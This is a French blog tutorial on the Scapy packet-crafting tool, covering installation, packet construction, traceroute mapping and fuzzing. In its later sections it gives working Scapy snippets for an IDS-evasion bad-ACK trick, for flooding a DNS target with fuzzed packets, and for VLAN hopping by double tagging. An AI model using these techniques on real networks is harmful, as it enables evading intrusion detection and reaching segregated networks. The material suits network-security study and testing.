Tuesday, September 24, 2013

Scapy, le couteau suisse du réseau !

I. L’outil
Scapy est un outil de création, de manipulation et de visualisation des trames (Couche OSI niveau 2) et des paquets (Couches OSI niveau 3). Ecrit en Python par Philippe BIONDI, l’outil est incontestablement l’un des meilleurs dans sa catégorie.
Scapy implémente complétement ou partiellement un nombre assez important de protocoles (vous pouvez les lister avec la commande ls()), et offre des fonctionnalités poussées et à la portée de chacun. L’outil souffre néanmoins de quelques limitations qui seront plus amplement présentées dans les parties qui suivent.

II. Installation


Comme, Scapy est écrit en python 2.5, vous aurez donc besoin de l’installer sur votre machine, en plus des libraires libpcap et libdnet sur les machines non-linux.
Il existe plusieurs méthodes pour installer Scapy, une première méthode consiste à le télécharger du site officiel, et après l’avoir décompressé, il suffit d’exécuter le script d’installation :
$sudo python setup.py install
Ma méthode préférée est en utilisant les dépôts Mercurial afin de s’assurer d’avoir la dernière version.
Mercurial est un système de gestion de versions décentralisé très similaire à Git. Toutes les commandes Mercurial commencent par « hg », faisant référence au symbole chimique du mercure.
$ hg clone http://hg.secdev.org/scapy
$ cd scapy
$ sudo python setup.py install


Pour avoir la nouvelle version de Scapy, il suffit de mettre à jour l’outil et de le réinstaller.
$ hg pull
$ hg update
$ sudo python setup.py install


La dernière version de la distribution BackTrack inclut par défaut l’outil Scapy. Pour information, ce dernier utilise plusieurs autres modules python pour offrir des fonctionnalités d’affichage 2D et 3D, et les exporter dans les formats PDF et PostScript, vous aurez donc besoin d’installer ces modules pour bénéficier de ces fonctionnalités.

III. Avantages et limitations

La puissance de Scapy réside dans sa capacité à manipuler et à créer plusieurs paquets avec très peu de lignes commandes. Un programme similaire en C a besoin de plus de 30 lignes de code pour créer un seul paquet, même l’outil hping3 requiert une dizaine de lignes  de code pour créer une fonction d’envoi et de réception qui existe déjà dans Scapy.
La console de Scapy est tout simplement la console de python avec la librairie Scapy importée, il est donc possible de bénéficier de toute la puissance de python dans Scapy.
Scapy est un outil facilement modulable et extensible, vous pouvez donc facilement créer des scripts et des outils basés sur Scapy, ou le renforcer en développant vous-même de nouvelles fonctions ou de nouveaux protocoles, de plus l’API Python/C ouvre tout un éventail de possibilités à l’utilisateur.
Une des motivations principales derrière le développement de Scapy, est la création d’un outil capable de gérer des opérations comme le scan et la découverte du réseau sans post-analyse des résultats, laissant ainsi toute interprétation à l’utilisateur.
Cependant, les outils de Scan, comme Nmap, proposent des options de justification des résultats obtenus, le cas de l’option « --reason » dans Nmap. De plus les développeurs de Scapy ont pensé à intégrer partiellement Nmap et P0f (outil passif de détection des systèmes d’exploitation, souvent lancé en parallèle avec Nmap pour une meilleure détection) directement dans Scapy.
Scapy souffre cependant de quelques limitations qui le rendent inadéquat pour des tâches, comme les tests de charges ou la manipulation d’un très grand nombre de paquets.
Pour ce type de test, privilégiez des outils comme Mausezahn écrit en C, capable d’atteindre des débits assez impressionnants. De plus, la puissance de Scapy, qui fait de lui un outil riche et complexe, rend la prise-en-main difficile. Or une fois la logique de l’outil comprise, Scapy est facilement maniable, surtout qu’il existe plusieurs fonctions d’aide pour énumérer les protocoles, leurs attributs et les fonctions à utiliser (help(), dir(), ls(), lsc()).
Ceci dit, comme vous l’aurez déjà compris, Scapy manipule des protocoles réseaux parfois très complexes, on a souvent besoin de parcourir les RFC du protocole pour comprendre l’utilité de chaque attribut, d’autres protocoles sont standardisés par d’autres organismes, la documentation détaillée est parfois payante et difficile à trouver.

IV. Fonctionnalités

a. Création et manipulation simple de paquets

La principale fonctionnalité de Scapy est la création et la manipulation des paquets. Un paquet est un empilement d’entête spécifique à chaque protocole, si nous prenons l’exemple d’une requête de résolution DNS, la trame se composera de l’entête Ethernet, IP, UDP et finalement le payload de la requête DNS.
Scapy permet donc d’empiler les entêtes en renseignant les informations de chaque attribut, même si cet empilement n’a absolument aucun sens, par exemple Ether/IP/UDP/IP/TCP/http.
>>> a = Ether(dst="01:02:03:ff:fe:fd", src="01:02:03:ff:fe:fc")/IP(dst="10.1.1.1
", src="10.2.2.2", options=IPOption_RR())/TCP(sport=random.randint(1024,65535),d
port=80)
>>> a.show()
###[ Ethernet ]###
dst= 01:02:03:ff:fe:fd
src= 01:02:03:ff:fe:fc
type= 0x800
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp
chksum= None
src= 10.2.2.2
dst= 10.1.1.1
\options\
|###[ IP Option Record Route ]###
| copy_flag= 1
| optclass= control
| option= record_route
| length= None
| pointer= 4
| routers= []
###[ TCP ]###
sport= 21213
dport= www
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}

Quand l’empilement des protocoles est logique, Scapy est capable de renseigner automatiquement la valeur de l’attribut « type/protocole/next_header » qui indique le protocole suivant.

b. Scan et découverte du réseau

La possibilité de créer et manipuler plusieurs paquets permet d’effectuer des opérations comme le scan et la cartographie du réseau. Scapy n’interprétera pas les résultats reçus, c’est à vous de les analyser pour en déduire si le port est ouvert, fermé ou filtré.
Les fonctionnalités graphiques qu’intègrent Scapy permettent de cartographier un réseau et déterminer les liens qui existent entre ses différents nœuds, ce qui facilite énormément la compréhension d’une architecture.
Voici un exemple qui illustre l’utilisation de la fonction traceroute, et la réinterprétation des résultats dans un schéma graphique très facile à lire. Le schéma généré est alimenté avec des informations comme le numéro et le nom de l’AS BGP de chaque adresse IP.
>>> res,ans = traceroute(["www.hakin9.org", "www.google.fr"], dport=80, maxttl=10, retry=5)
Begin emission:
********Finished to send 20 packets.
*******.*Begin emission:
Finished to send 4 packets.
*Begin emission:
Finished to send 3 packets.
Begin emission:
Finished to send 3 packets.
Begin emission:
Finished to send 3 packets.
Begin emission:
Finished to send 3 packets.

Received 18 packets, got 17 answers, remaining 3 packets
74.125.230.83:tcp80 79.125.23.174:tcp80
1 192.168.0.254 11 192.168.0.254 11
2 82.241.112.254 11 82.241.112.254 11
3 213.228.23.254 11 213.228.23.254 11
4 212.27.56.153 11 212.27.56.153 11
6 80.231.153.9 11 4.68.110.213 11
7 195.219.50.38 11 4.69.139.193 11
8 80.81.193.108 11 4.69.143.113 11
9 209.85.255.178 11 4.69.136.89 11
10 72.14.233.104 11 -
>>> res.graph(target="> /root/trace.ps", type="ps")



Le schéma montre les différents nœuds traversés, un code couleur est utilisé pour les nœuds du même AS BGP. Le nom est le numéro de l’AS sont également affichés.
On peut ainsi détecter des anomalies assez intéressantes, comme pourquoi mes requêtes Google passent par le réseau de Yahoo ?

c. Attaque, fuzzing et évasion

Le fuzzing consiste à injecter des données aléatoires pour détecter d’éventuelles erreurs et bugs. Cette technique est très utile pour découvrir de nouvelles vulnérabilités à exploiter (0day exploit), ou tout simplement pour tester la robustesse d’une application réseau.
Grâce à la fonction de fuzzing incorporée dans Scapy, ou d’autres fonctions de fuzzing que vous pouvez vous-même écrire en Pyhon, vous pouvez facilement tester ce type d’attaque sur la cible de votre choix, et sur le protocole de votre choix.
Scapy peut également être utilisé pour mener des attaques réseaux, comme l’ARP poisonning, Vlan Hopping ou CAM flooding. Pour mener ce type d’attaque avec Scapy, il est primordial de comprendre le fonctionnement de l’attaque, c’est d’ailleurs ce qui fait la différence entre un script-kiddie habitué à la facilité des outils automatiques, et un vrai h@x0r .
La facilité de manipulation des paquets et trames que confère Scapy font qu’il est facile d’introduire des techniques d’évasion IDS, comme l’overlapping des paquets ou la fragmentation IP.

V. Exemples d’utilisation

Ces exemples d’utilisation permettent de se rendre compte du vrai potentiel de l’outil. Chaque partie explique l’exemple et son intérêt, ainsi que son implémentation avec l’aide de Scapy.

a. Evasion IDS

L’évasion IDS est tout simplement un ensemble de techniques permettant d’échapper à la détection des sondes IDS et/ou IPS. L’exemple illustré ci-dessous est celui d’un mauvais RESTET du ACK que Judy NOVAK a publié dans un post sur l’excellent blog packetstan.com.
Les techniques d’évasion IDS sont loin d’être nouvelles, elles retrouvent cependant tous leurs intérêts avec l’évolution des briques de sécurité, comme les firewalls NG, les UTM (Unified Threat Management) et les proxys applicatifs, qui intègrent désormais des composants de détection et de prévention d’intrusion.
Pour comprendre l’origine derrière l’existence de ces attaques, il faut tout d’abord comprendre que des protocoles comme le TCP sont des protocoles complexes, il existe donc plusieurs nuances dans leur implémentation.
Les différentes implémentations des protocoles entre système d’exploitation causent des comportements différents que les sondes de détection d’intrusion ont énormément du mal à suivre.
Le déroulement de la technique du mauvais RESET du ACK fonctionnant contre les machines GNU/linux-like est le suivant :
- Un paquet SYN est envoyé à la cible
SYN = IP(src="10.1.1.1", dst="10.3.3.3")/TCP(sport=1111, dport=80, flags="S", seq=100)
SYNACK = sr1(SYN)

- On Récupère les valeurs des séquences TCP
GOOD_ACK_SEQ = SYNACK.seq+1
BAD_ACK_SEQ = GOOD_SYNACK_SEQ +1
NEXT_SYN_SEQ = SYN.seq + 1

- Envoi du mauvais paquet pour simuler un RESET de la connexion
ACK = IP(src="10.1.1.1", dst="10.3.3.3")/TCP(ack=BAD_ACK_SQE, sport=1111, dport=80, flags="A", seq=NEXT_SYN_SEQ)
send(ACK)

- L’IDS considère que la connexion s’est arrêtée, cependant si on envoie un payload malveillant, les machines GNU/Linux vont accepter le paquet
ATTACK= IP(src="10.1.1.1", dst="10.3.3.3")/TCP(ack=GOOD_ACK_SEQ, seq=NEXT_SYN_SEQ, sport=1111, dport=80, flags="PA")/(“Code Malveillant”)
send(ATTACK)
NEXT_SYN_SEQ = ACK.seq + len(“Code Malveillant”)



Selon l’explication de Judy NOVAK, le troisième paquet avec le mauvais numéro de séquence ACK est considéré par la machine cible comme n’appartenant pas à la connexion en cours entre les deux machines, de ce fait le paquet est ignoré et n’influe pas sur l’état de la connexion.
Le 4ème paquet envoyé avec le payload de l’attaque est donc accepté, car le numéro de séquence correspond à la valeur attendue.
Vous pouvez donc vous rendre compte de la facilité à laquelle il est possible de mener une attaque implémentant un mécanisme d’évasion IDS.

b. Fuzzing protocolaire

On entend beaucoup parler dernièrement du fuzzing, plusieurs outils et scripts voient le jour pour faciliter ce type de tâches. Le fuzzing est principalement utilisé pour la découverte des bugs et des vulnérabilités, ou pour le test de la robustesse d’une application. Si l’outil ou le service crash à cause d’un paquet ou d’une requête malformée, il est probable que ce dernier soit vulnérable et que la vulnérabilité est exploitable.
Scapy incorpore la fonction fuzz() qui permet de remplacer les attributs non définis par l’utilisateur avec des valeurs aléatoires.
Un bon scénario de fuzzing consiste tout d’abord à déterminer les attributs à manipuler, par la suite la fonction fuzz est lancée.
Si vous constatez que la machine ne répond pas au bout d’un certain temps, investiguez le problème et déterminez soit avec Wireshark (en capturant le trafic passant, assez lourd) ou avec une méthode plus ingénieuse (je suis preneur) le paquet qui a causé le crash.
La fonction fuzz() injecte des valeurs aléatoires sur tous les attributs non définis.
>>> a = IP(dst='10.1.1.1')/UDP(sport=random.randint(1024,65535),dport=53)/DNS()/fuzz(DNSQR())
>>> ls(a)
version : BitField = 4 (4)
ihl : BitField = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField = 0 (0)
frag : BitField = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 17 (0)
chksum : XShortField = None (None)
src : Emph = '192.168.0.11' (None)
dst : Emph = '10.1.1.1' ('127.0.0.1')
options : PacketListField = [] ([])
--
sport : ShortEnumField = 19334 (53)
dport : ShortEnumField = 53 (53)
len : ShortField = None (None)
chksum : XShortField = None (None)
--
id : ShortField = 0 (0)
qr : BitField = 0 (0)
opcode : BitEnumField = 0 (0)
aa : BitField = 0 (0)
tc : BitField = 0 (0)
rd : BitField = 0 (0)
ra : BitField = 0 (0)
z : BitField = 0 (0)
rcode : BitEnumField = 0 (0)
qdcount : DNSRRCountField = 0 (None)
ancount : DNSRRCountField = 0 (None)
nscount : DNSRRCountField = 0 (None)
arcount : DNSRRCountField = 0 (None)
qd : DNSQRField = None (None)
an : DNSRRField = None (None)
ns : DNSRRField = None (None)
ar : DNSRRField = None (None)
--
qname : DNSStrField = ('')
qtype : ShortEnumField = (1)
qclass : ShortEnumField = (1)


Comme vous pouvez le voir, les valeurs de qname, qtype et qclass sont de type Random (RandBin, RandShort). Vous pouvez par la suite commencer le fuzzing en envoyant les paquets avec l’option loop=1.
>>> send(a, loop=1)
............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^C
Sent 508 packets.

c. Vlan Hopping

Le Vlan Hopping est une attaque permettant à un utilisateur sur un Vlan d’accéder à un autre Vlan (ex. un utilisateur sur le Vlan Wifi public peut accéder au Vlan administration).
Il existe deux méthodes pour réaliser ce type d’attaque, la première et la moins commune est en usurpant l’identité d’un switch en envoyant des requêtes DTP (Dynaminc Trunk Procotol) pour activer le mode trunk.
DTP est un protocole propriétaire Cisco pour la configuration dynamique du Vlan Trunking, cette attaque ne concerne donc que les plateformes Cisco, et ne concerne qu’un spectre très limité d’architecture réseau.

La deuxième méthode est le double tagging. Le standard 802.1q complète l’en-tête de la trame Ethernet en ajoutant le champ Vlan Tag. Quand la trame traverse le switch, le champ tag est supprimé et la trame est routée vers la bonne interface.
Malgré ce que vous pouvez penser, le double tagging n’est pas une mauvaise implémentation du standard 802.1q, mais bien une option définie dans le standard 802.1ad et notamment utilisé par les opérateurs métropolitains.
La double encapsulation consiste tout simplement à ajouter deux tags au lieu d’un seul. Le premier commutateur supprime le premier tag et réinjecte la trame avec le deuxième tag malicieux sur la bonne interface, la trame est maintenant capable d’accéder au Vlan cible.



Pour l’implémenter dans Scapy, il suffit d’utiliser l’entête Dot1Q() qui est celui d’un tag Vlan.
>>> a = Ether(src="01:02:03:ff:fe:fd")/Dot1Q(vlan=2)/Dot1Q(vlan=2)/IP(src="10.1.1.1",dst="10.3.3.3",options=IPOption_RR())
>>> a.show()
###[ Ethernet ]###
dst= 00:24:d4:b6:4a:b8
src= 01:02:03:ff:fe:fd
type= 0x8100
###[ 802.1Q ]###
prio= 0
id= 0
vlan= 2
type= 0x8100
###[ 802.1Q ]###
prio= 0
id= 0
vlan= 2
type= 0x800
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 10.1.1.1
dst= 10.3.3.3
\options\
|###[ IP Option Record Route ]###
| copy_flag= 1
| optclass= control
| option= record_route
| length= None
| pointer= 4
| routers= []

La valeur du premier Type lors d’un double tagging varie d’un constructeur à un autre, les valeurs possibles sont 0x8100, 0x9100, 0x9200 et 0x9300. Vous pouvez donc modifier cette valeur dans l’entête Ether() si le paquet n’arrive pas à destination.
>>> a = Ether(src="01:02:03:ff:fe:fd", type=0x9100)/Dot1Q(vlan=2)/Dot1Q(vlan=2)/IP(src="10.1.1.1",dst="10.3.3.3",options=IPOption_RR())

VI. Conclusion

L’outil Scapy est tout simplement un couteau suisse, utile pour mener des attaques obfuscées, troubleshooté un problème réseau, ou tester la robustesse d’une application. Malgré des limitations au niveau des performances, Scapy est tout simplement un must à maitriser.
Il existe cependant des outils similaires, appliquant la même logique sur d’autres plateformes, Scruby qui est développé en Ruby et qui est déjà intégré à Metasploit, en est un.



Sur Internet
• www.secdev.org/projects/scapy/ –Lien officiel du projet Scapy
• http://www.dirk-loss.de/scapy-doc/ –Documentation Scapy
• www.packetstan.com – L’excellent Blog Packetstan dédié à la sécurité réseau
• http://www.opensecurityarchitecture.org – le projet Open Security Architecture d’où les icones sont issues

No comments:

Post a Comment